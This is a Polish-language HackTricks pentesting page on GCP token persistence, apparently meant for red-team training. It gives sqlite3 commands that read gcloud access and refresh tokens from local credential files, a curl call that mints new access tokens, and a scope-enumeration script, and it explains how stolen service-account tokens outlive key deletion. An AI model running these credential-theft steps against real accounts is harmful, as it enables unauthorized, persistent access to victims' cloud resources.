GCP - Token Persistence

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Authenticated User Tokens

Aby uzyskać current token użytkownika możesz uruchomić:

Pobierz access token z bazy SQLite ```bash sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='';" ```

Sprawdź na tej stronie, jak bezpośrednio użyć tego tokena za pomocą gcloud:

Cloud SSRF - HackTricks

Aby uzyskać szczegóły potrzebne do wygenerowania nowego access tokena uruchom:

Pobierz refresh token z bazy danych SQLite ```bash sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='';" ```

Można także znaleźć refresh tokens w $HOME/.config/gcloud/application_default_credentials.json oraz w $HOME/.config/gcloud/legacy_credentials/*/adc.json.

Aby uzyskać nowy, odświeżony access token przy użyciu refresh token, client ID i client secret, uruchom:

Uzyskaj nowy access token przy użyciu refresh token ```bash curl -s --data client_id= --data client_secret= --data grant_type=refresh_token --data refresh_token= --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token ```

Ważność refresh tokenów można zarządzać w Admin > Security > Google Cloud session control, a domyślnie jest ustawiona na 16h, chociaż można ustawić, by nigdy nie wygasały:

Przepływ uwierzytelniania

Proces uwierzytelniania przy użyciu np. gcloud auth login otworzy monit w przeglądarce, a po zaakceptowaniu wszystkich zakresów przeglądarka wyśle żądanie takie jak poniższe do portu http otwartego przez narzędzie:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

Następnie gcloud użyje parametrów state i code wraz z twardo zakodowanym client_id (32555940559.apps.googleusercontent.com) i client_secret (ZmssLNjJy2998hD4CTg2ejr2) aby pobrać ostateczne dane refresh tokena.

Caution

Zwróć uwagę, że komunikacja z localhost odbywa się przez HTTP, więc możliwe jest przechwycenie danych w celu zdobycia refresh tokena; jednak dane te są ważne tylko jednorazowo, więc byłoby to bezużyteczne — łatwiej po prostu odczytać refresh token z pliku.

OAuth Scopes

Wszystkie scope’y Google znajdziesz na https://developers.google.com/identity/protocols/oauth2/scopes lub możesz je uzyskać, wykonując:

Pobierz wszystkie zakresy OAuth dla Google ```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u ```

Dzięki temu skryptowi można sprawdzić, jakie zakresy może obsługiwać aplikacja, której gcloud używa do uwierzytelniania:

Przetestuj obsługiwane zakresy dla gcloud ```bash curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do echo -ne "Testing $scope \r" if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then echo "" echo $scope fi done ```

Po jego uruchomieniu sprawdzono, że ta aplikacja obsługuje następujące zakresy:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

Interesujące jest zobaczyć, że ta aplikacja obsługuje zakres drive, co mogłoby pozwolić użytkownikowi na eskalację z GCP do Workspace, jeśli atakujący zmusi użytkownika do wygenerowania tokena z tym zakresem.

Zobacz jak wykorzystać to tutaj.

Konta usługowe

Podobnie jak w przypadku uwierzytelnionych użytkowników, jeśli uda Ci się skompromisować plik klucza prywatnego konta usługowego, będziesz mógł uzyskać do niego dostęp zwykle tak długo, jak zechcesz.
Jednak jeśli ukradniesz OAuth token konta usługowego, może to być jeszcze ciekawsze, ponieważ nawet jeśli domyślnie te tokeny są użyteczne tylko przez godzinę, jeśli ofiara usunie prywatny api key, OAuth token nadal będzie ważny aż do wygaśnięcia.

Metadane

Oczywiście — dopóki jesteś wewnątrz maszyny działającej w środowisku GCP — będziesz mógł uzyskać dostęp do konta usługowego przypisanego do tej maszyny, kontaktując się z metadata endpoint (uwaga: OAuth tokeny, które możesz uzyskać przez ten endpoint, są zazwyczaj ograniczone przez scopes).

Remediacje

Niektóre środki zaradcze dla tych technik są opisane w https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2

Źródła

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks